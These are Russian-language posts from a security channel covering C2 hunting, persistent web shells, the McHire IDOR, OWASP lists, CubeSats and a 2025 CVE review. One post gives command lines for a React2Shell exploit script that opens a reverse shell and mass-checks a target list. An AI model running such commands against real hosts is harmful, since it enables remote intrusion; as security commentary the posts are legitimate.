Threat Hunting Introduction: Cobalt Strike

Использование коммерческих security-фреймворков (или же threat simulation tool) даёт вполне позитивный опыт использования. Всё удобно, в одном месте, со всякими окошечками и прочим. Но удобства любят не только пентестеры и red-team, но и обычные злоумышленники. Но мало кто скрывает серверы таких инструментов, так что немного усилий и всё как на ладони.

Одним из популярных инструментов можно назвать Cobalt Strike, на примере которого и показывается процесс поиска. А заодно автор написал и инструмент - SigStrike.

Примерный порядок действий:
- Определяемся с IoC
- Ищем серверы через shodan (или аналогичный сервис) или можем посканировать руками
- Фильтруем, получая актуальное и активное
- Наслаждаемся нашим Threat Hunting процессом.

По схожему принципу можно искать не только Cobalt Strike, но и прочие C2. Какие-то инструменты придётся дописать самому, что-то тестово развернуть, посмотреть С2-фиды (вроде C2IntelFeeds), но задача вполне решаемая.

Scanning Beyond the Patch: A Public-Interest Hunt for Hidden Shells

Патчи это хорошо, но они не гарантируют устранение уязвимости — после фикса уязвимости на разных устройствах (как сетевых, так и серверов и разных эндпоинтах) могут сохраняться перманентные бэкдоры, предоставляющие злоумышленнику долгосрочный доступ.

Примеры из реальных инцидентов:
1. Citrix ADC / NetScaler (CVE‑2023‑3519)
- Были обнаружены web‑шеллы, скрытые в /var/vpn/themes и /logon/LogonPoint/uiareas.
- Первый вариант шелла отвечал HTTP 201, а второй — "пустым" 404, что нестандартно для системы.

2. Cisco IOS‑XE (CVE‑2023‑20198)
- Внедрялись фальшивые страницы 404 или короткие строки версий shell.
- Использовались нестандартные HTTP-заголовки и параметры типа %25 или logon_hash=1, чтобы обнаружить заражённые устройства.

3. Ivanti Connect Secure (CVE‑2024‑21893)
- Бэкдор отвечал HTTP 200 на то, что должен был отдавать 404, или возвращал uname -a.
- Также внедрялись скрытые файлы index.txt(1,2), которые можно было обнаружить при сканировании.

Каждый случай показывает, что компрометация может пережить исправление, и фикс не гарантирует устранение уязвимости полностью.
Хотя бывают и более сложные случаи, вроде CVE-2025-20309 с замечательным моментом в описании:

attacker to log in to an affected device using the root account, which has default, static credentials that cannot be changed or deleted.

А ещё статья ненавязчиво знакомит нас с DIVD - Dutch Institute for Vulnerability Disclosure, которые сканируют интернет и алертят владельцев. Вроде и зеродеи ищут, но это не точно.

Would you like an IDOR with that? Leaking 64 million McDonald’s job applications

Breaking news: McDonald взломали.

Ладно, новость не вот чтобы Breaking, да взломали не сам McDonald. Исследователи взломали McHire, платформу для подбора персонала с чат-ботами. Наймом кожанных мешком занимается бот Оливия, работающий на технологиях Paradox.ai. Он собирает персональные данные соискателей, оценивает предпочтения, проводит личностные тесты и вызывает баттхёрт у пользователей.

В чём суть?
Интерфейс платформы McHire использовал логин\пароль 123456:123456 при логине через "Paradox team members", однако этим всё не ограничилось и был обнаружен IDOR, позволяющий получить персональные данные более 64 миллионов соискателей.

Всё исправили, вход для Paradox team спрятали, но ситуация забавная.

Наткнулся тут на статью со "срывом покровов" - Вся правда про мессенджер Max!

Страшно, очень страшно, если бы мы знали что это такое, мы не знаем что это такое.

Содержимое статьи можно встретить в разном виде, но суть примерно одна - Max страшный вредонос и вообще содержит jar-файлы. Последнее довольно забавно, но давайте пройдём по порядку.

Permissions.
Первое, о чём на оповещает автор, это большой набор требуемых доступов к камере, микрофону, контактам, гео, файлам, Bluetooth.

- ACCESS_COARSE_LOCATION и ACCESS_FINE_LOCATION: геопозиция. Не знаю, можно ли в Max скинуть гео, но в целом функционал стандартный.
- BLUETOOTH_CONNECT: мы же хотим использовать свои колонки (будь они неладны) и наушники с гарнитурами, верно?
- WRITE_EXTERNAL_STORAGE, READ_MEDIA_VISUAL_USER_SELECTED, READ_MEDIA_IMAGES, READ_MEDIA_VIDEO, CAMERA: мы что-то фотографируем, отправляем мемы с котами, сохраняем и отправляем фотографии и документы.
- READ_CONTACTS: всё просто - доступ к контактам.
- POST_NOTIFICATIONS: оповещения о сообщениях.
- REQUEST_INSTALL_PACKAGES: вот тут не уверен. Возможно, реализовано обновление как у Telegram, установленного не из сторы.

Полный список Permissions на gist.

Поддержка Android 9.

Плюс ко всему, я был шокирован, что Max отказался запускаться на Android 9. Почему современный мессенджер не поддерживает не такую уж старую систему? Это, честно говоря, настораживает.

Гугл говорит про 5.8% устройств, что не очень много. И так же у нас Android 9 это API level 28, а Max хочет - Min SDK 29.
Проблемы не вижу.

Ужасные jar-файлы.

Копнув ещё глубже, я обнаружил, что Max использует jar-файлы для внедрения в систему вашего устройства.

Да, всё использует ужасную Java, что приводит к появлению ужасных jar-файлов. Но наверное разработчики на Android должны использовать Swift, а получать exe-файлы.

Массовая слежка или мы под колпаком VK

А теперь самое тревожное: все данные, которые собирает Max — от ваших чатов до информации об устройстве, — отправляются прямиком на сервера VK.

А куда их ещё отправлять? На Луну через Starlink? VK пишет Max, и Max работает через VK.

Я не занимаюсь обелением или защитой мессенджера Max. Но призываю к более вдумчивой оценке статей, которые позиционируют себя как технические, особенно выходящие на хайпе.
Как и обычный мессенджер, Max лезет куда может.
Не нравится? Можно не давать доступ. Но в таком случае не будет работать какой-то функционал. И это применимо не только к Max, а любому другому, будь то Telegram, Whatsapp или что там ещё.

Но и дополнительно можете почитать аналогичную статью про Telegram, где в целом всё то же самое. ¯\_(ツ)_/¯

P.S. Что там автор получил в tria.ge я проверить не смог, так как он меня не пускает. Но есть cкан MobSF.

—
Android API reference
mobsf.live: ru.oneme.app_6378_rs.apk

Пропустил новость от марта, но теперь навёрстываю: OWASP Top 10 for LLMs and Generative AI обновился (да, если кто не знал, есть и такое, я писал об этом около года назад) и теперь есть на русском языке: OWASP Top 10 для LLM и генеративного ИИ (2025)

Так же появились:
- Securing Agentic Applications Guide 1.0
- GenAI Incident Response Guide 1.0

Сам LLM Top 10 претерпел некоторые изменения и сейчас выглядит так:
- LLM01:2025 Prompt Injection
- LLM02:2025 Sensitive Information Disclosure
- LLM03:2025 Supply Chain
- LLM04:2025 Data and Model Poisoning
- LLM05:2025 Improper Output Handling
- LLM06:2025 Excessive Agency
- LLM07:2025 System Prompt Leakage
- LLM08:2025 Vector and Embedding Weaknesses
- LLM09:2025 Misinformation
- LLM10:2025 Unbounded Consumption

Сравнить с прошлым годом можно тут.

Окинув грустным взглядом CISA KEV в голову приходит мысль: надо что-то менять. Нет, не отказываться от KEV вообще.
Я скорей о том, можно ли собрать что-то своё из текущих данных. И в теории да.

Да, есть платные сервисы, вроде VulnCheck, но и там не без проблем.

Немного порассуждаем без цифр, схем, формул и кода.
Помимо CISA KEV (выбрасывать который не обязательно) у нас есть:
- Metasploit и список эксплоитов в нём
- exploit-db (и его гитлаб)
- PoC-in-GitHub
- Nuclei и его шаблоны
- CISA KEV (если вы его не выбросили). В данном случае он скорей как индикатор "настолько плохо, что есть даже там"

В итоге мы получаем 4 источника информации о эксплоитах (где-то фактических, где-то просто отметку, что такой есть) и инструмент, который это просто и быстро может детектить. Набор источников и инструментов может быть больше, я беру то, что доступно.

Что можно сделать дальше?
- Просто складывать количество эксплоитов из разных источников: можно, но мы получим даже не количественную метрику, а просто количество вхождений.
- Назначение веса каждому индикатору: выглядит как направление к решению. Эксплоит из вашего любимого фреймворка (не обязательно msf) явно будет иметь вес значительно выше, чем китайский PoC на perl с Github.

Учитывать ли EPSS? Вопрос любопытный. Всегда казалось, что он должен был быть эдакой "серебрянной пулей" в VM, но фактически он отстаёт. Если только считать какой-то EPSS Base Score и ваш EPSS Custom Score.

Но это всё только часть мозаики, так как ещё надо учитывать CVSS Temporal Score, как-то считать CVSS Environmental Score.
А если у вас есть TI\TH или готовая коробка с этим всем, то можно ещё и Threat Factor учитывать.

Модель Cubesat это интересно, но можно собрать и настоящий. С одной стороны, вещь весьма специфичная, однако готовые проекты попадают и на сайтах вроде instructables (как вам Cubesat на HyperDuino?).

Немного истории
В далёком 2011 году члены Space Systems Design Studio основали проект Kicksat. Ребята собрали какое-то количество денег на Kickstaterer, успешно собрали и отправили свои кубсаты на орбиту, тем самым показав, что такое возможно не только для учёных или университетов, но и для небольших проектов.

Репозиторий проекта всё ещё доступен на Github.

Но потом появились Space-X, Arduino, Raspberry Pi, EPS всех цветов, 3D-печать, доступные фрезеры с ЧПУ и всё завертелось.
Space-X сделали отправку кубсатов доступнее (ценники от $50,000 до $500,000 это всё ещё много, но уже не напоминают номер телефона), а доступные SBC, микроконтроллеры и средства проектирования и изготовления сделали производство доступным не только на серьёзных фабриках, а в гараже.

Всё это вылилось в небольшие, но вполне доступные проекты.
Например:
- Build Your Own Arduino Satellite / CubeSat от MKme Lab
- $1K CubeSat от RG Sat

А так же в несколько небольших книг на тему Cubesat от астронома-любителя из Мэриленда — Александра «Сэнди» Антунеса:
- DIY Satellite Platforms
- Surviving Orbit the DIY Way
- DIY Instruments for Amateur Space
- DIY Comms and Control for Amateur Space

Но всё это подавало признаки жизни годы назад. Как же ситуация обстоит сейчас?

Текущее время.
Кубсаты вышли на новый уровень, есть коммерческие варианты за кучу денег (например от EnduroSat), так и варианты побюджетней:
- RASCube от Robinson Aerospace
- IOS CubeSat 3.0 от Interorbital Systems
- My Sat Space Fan Kit от MySatKit

А если вам кажется, что это всё не серьёзно, то оно вполне себе отправляется на орбиту. Да и опыт фанерного WISA Woodsat показывает, что кубсаты могут быть очень разными.

Есть и проекты на стыке кибер-безопасности и Сubesat, вроде Ethos Labs, но там можно только посмотреть, либо удачно попасть на конференцию, или быть гос. заказчиком (оба пункта применимы только для США).

Но есть и Open Source и Open Hardware проекты, например - Build a CubeSat, где весь софт и железо доступны в исходниках, а процесс разработки и сборки можно посмотреть на канале автора.
- Youtube: Build a CubeSat
- codeberg: buildacubesat-project

Вообще, постройка Cubesat это не столько отправка готового изделия в космос (что довольно дорого), сколько наработка довольно важного навыка - проектирование и сборка энергоэффективного автономного устройства, которое может пригодится не где-то на орбите, но и в стратосфере или даже на земле.

—
Jeff Geerling: PIS IN SPACE!
Level 2 Jeff: How small can you make a satellite? Here are six in a box!
How to Build Your Own Satellite: CubeSats

OWASP опубликовали OWASP Top 10:2025 RC1.

Как предварительно будет выглядеть новый Top 10:
- A01:2025 - Broken Access Control
- A02:2025 - Security Misconfiguration
- A03:2025 - Software Supply Chain Failures
- A04:2025 - Cryptographic Failures
- A05:2025 - Injection
- A06:2025 - Insecure Design
- A07:2025 - Authentication Failures
- A08:2025 - Software or Data Integrity Failures
- A09:2025 - Logging & Alerting Failures
- A10:2025 - Mishandling of Exceptional Conditions

Появились новые категории:
- A03:2025 - Software Supply Chain Failures, которая по сути является расширением A06:2021-Vulnerable and Outdated Components, охватывая всю экосистему программного обеспечения, включая зависимости, системы сборки и инфраструктуру распространения.
- A10:2025 - Mishandling of Exceptional Conditions, не самая понятная категория, так как пока выглядит довольно абстрактно (хотя тут целых 24 CWE).

Из прочих изменений:
- Broken Access Control всё так же занимает первое место (3.73% of applications tested had one or more of the 40 Common Weakness Enumerations (CWEs) in this category), но туда переехал A10:2021 – Server-Side Request Forgery (SSRF).
- Security Misconfiguration стал встречаться чаще, так что ожидаемо переместился с пятого на второе.

Cryptographic Failures, Injection и Insecure Design, уехали на две позиции вниз, в остальном заметных изменений нет.

Advent of Cyber 2025 стартанул

Это интересное путешествие в мир Securitty - как для защитников, так и для нападающих - с любым опытом. Присоединяйтесь, будет весело!

А тем временем в React и Next.js появились CVE c CVSS 10.0:
- CVE-2025-55182
- CVE-2025-66478 (на cve.org отмечена как REJECTED, duplicate of CVE-2025-55182)

Пошло довольно кучно: уязвимость затрагивает 19.0.0, 19.1.0, 19.1.1 и 19.2.0, а также фреймворки, использующие эти пакеты, включая Next.js 15.x и 16.x, использующие App Router.

Фиксы есть в версиях:
React: 19.0.1, 19.1.2, 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

PoC пока не появился, но думаю, что можно ждать уже в ближайшее время.

UPD: PoC появился.

—
React Blog: Critical Security Vulnerability in React Server Components
Vercel: Summary of CVE-2025-55182
Github GitHub Advisory Database: Next.js is vulnerable to RCE in React flight protocol

А вот и первый PoC и шаблон для Nuclei.

А кто-то уже начал PoC продавать.

Небольшое продолжение по CVE-2025-55182

CVE-2025-55182 теперь react2shell, а так же появился стабильный эксплоит.

Получить шелл можно в одну команду:

# Предварительно не забываем поднять листенер, скрипт его не поднимает.
python3 exp.py http://127.0.0.1:3000 --revshell 127.0.0.1 1234

# Или сразу прогнать список
python3 exp.py -f targets.txt --check

Подоспел и плагин для Burp: Next.js RSC RCE Scanner.

По данным FOFA в интернете торчит 8.7 миллионов потенциально уязвимых хостов (в Shodan результаты скромнее, но тоже неплохо), а Amazon уже сообщает, что китайские хакеры уже вовсю эксплуатируют уязвимость.

Разбор самой уязвимости можно почитать в блоге SeachLight Cyber и в PoC-разборе от maple3142.

А у Project Disovery появился обновлённый шаблон для Nuclei.

—-

- Gihub Gist: POC for CVE-2025-55182 that works on Next.js 16.0.6
- SeachLight Cyber High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)
- AWS Security Blog: China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182)

Если в AI\ML есть Red Team, то для него должен быть Red Team Field Manual.

А если серьезно, то тема довольно интересная, а тут всё и сразу в одном месте.

Сам Field Manual, инструменты и скрипты так же доступны на Github:
github.com/Shiva108/ai-llm-red-team-handbook

Год заканчивается, время подводить итоги, показывать какие-нибудь циферки и поделиться своими выводами и видением.
Попробую и я сойти за умного и поделиться своими заметками.

Топ 5 CVE (плюс бонус):
1. React2Shell (CVE-2025-55182) - мой личный топ года. Красиво, эпично и масштабно. 10/10.
2. Windows NTLM V1 Elevation of Privilege Vulnerability (CVE-2025-21311) - мне редко интересны уязвимости в Windows (правда там и на samba импакт), но тут прямо здорово. NTLM V1 в 2025 году? Что может пойти не так?
3. Microsoft WSUS Deserialization RCE (CVE-2025-59287) - снова уязвимость в Windows, но зато какая. А если учесть, что были найдены хосты WSUS, доступные из дикого интернета, то совсем красота получается.
4. Apache Tomcat Path Traversal (CVE-2025-55752) - немного набивший оскомину Tomcat, который каждый год должен быть в таких топах.
5. n8n Remote Code Execution (CVE-2025-68613) - AI-автоматизация врывается в тренды, в том числе и с CVE.

Бонус:
MongoDB Unauthenticated Memory Leak Exploit (MongoBleed) (CVE-2025-14847) - запоздалый "подарок" под конец года. Бага в zlib позволяет злоумышленникам инициировать утечку информации.

Список можно продолжать ещё долго, но остановимся на этом.

Количество CVE от года к году продолжает расти. Если 2024 закончился на ≈ 40 тысячах (40303 по данным CVEDdetails, 39972 по данным NVD), то 2025 заканчивается на 47к+, что показывает примерный прирост ~40% (в среднем 135 новых CVE в день).

По критичности выходит примерно следующее (данные везде разные, возьму за основу CVEFeed.io):
Всего: 49170 CVE
Critical (9.0–10.0): ≈ 13.6 % (6672 уязвимости)
High (7.0–8.9): ≈ 34.1 % (16721 уязвимость)
Medium (4.0–6.9): ≈ 43.8 % (около 21,236 уязвимостей)
Low (0.1–3.9) + N/A ≈ 1.8 % (897 меньшая часть, плюс некоторые без оценки)
N/A: 3 164 ≈ 6.5 %

Данные разнятся, но ± количество и соотношение такое (CVE.ICU показывает схожие цифры, да и пока эти цифры указываешь, информация уже теряет актуальность).

C Weaknesses всё довольно ожидаемо и CWE Top 5 выглядит так:
- XSS (CWE-79)
- SQLi (CWE-89)
- CSRF (CWE-352)
- Missing Authorization (CWE-862)
- Out-of-bounds Write (CWE-787)

Тренды:
- Нейронки: не только в атаке, но и в обороне. Как минимум, детекты дипфейков и прочего AI-generated контента уже более частое явление.
- Supply chain: со временем лучше не становится, и даже в OWASP Top 10 2025 Software Supply Chain Failures находится на 3 месте.
- Nation-state hackers: не особо какая новость, но активность Nation-state хакеров становится делом привычным, и на спад их активность не идёт.
- Инфостилеры никуда не делись: за 2025 утекли данные как минимум 16 компаний\организаций, а модель Malware-as-a-Service превратила стилеры в процветающий "теневой" бизнес.

Хактивисты измельчали, нейронки активно применяются в фишинге и написании зловредов, а в воздухе повис дух quantum threats to cryptography. А ещё падения Cloudflare и AWS.

Сложно сказать, что нам готовит год грядущий, но каждый раз что-то интересное и неожиданное.
Продолжаем вести наблюдение.

Очередной год подходит к завершению, и можно отложить дела и планы в сторону и перейти к салатам и поздравлениям.

Про то, что год был тяжелый все говорят каждый раз, так что не буду это повторять.

В наступающем году желаю достигать своих целей, открывать новые горизонты, строить и ломать (каждый год об этом говорю), но и про отдых не забываем.

Всё будет, как мы любим.
До встречи в 2026.

И по традиции, музыка: